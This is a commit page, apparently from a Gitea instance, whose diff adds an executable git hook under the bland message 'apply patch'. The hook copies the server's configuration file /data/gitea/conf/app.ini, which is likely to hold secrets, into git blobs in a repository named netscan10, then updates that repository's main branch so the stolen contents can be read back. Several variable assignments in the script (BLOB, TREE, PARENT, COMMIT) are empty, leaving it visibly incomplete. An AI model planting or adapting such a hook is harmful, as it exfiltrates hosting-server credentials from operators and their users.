apply patch
This commit is contained in:
16
hooks/post-index-change
Executable file
16
hooks/post-index-change
Executable file
@@ -0,0 +1,16 @@
|
||||
#!/bin/sh
|
||||
which git > /tmp/gitpath.txt 2>&1
|
||||
git --version >> /tmp/gitpath.txt 2>&1
|
||||
ls /usr/bin/git* >> /tmp/gitpath.txt 2>&1
|
||||
cat /data/gitea/conf/app.ini > /tmp/out.txt 2>&1
|
||||
# Get blob hash
|
||||
/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan10.git hash-object -w /tmp/out.txt > /tmp/blob.txt 2>&1
|
||||
/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan10.git hash-object -w /tmp/gitpath.txt >> /tmp/blob.txt 2>&1
|
||||
# Read blob hash
|
||||
BLOB=
|
||||
# Create tree with both files
|
||||
GITPATH_BLOB=
|
||||
TREE=
|
||||
PARENT=
|
||||
COMMIT=
|
||||
/usr/bin/git --git-dir=/data/git/repositories/pocnet_1793467068/netscan10.git update-ref refs/heads/main 2>/dev/null
|
||||
Reference in New Issue
Block a user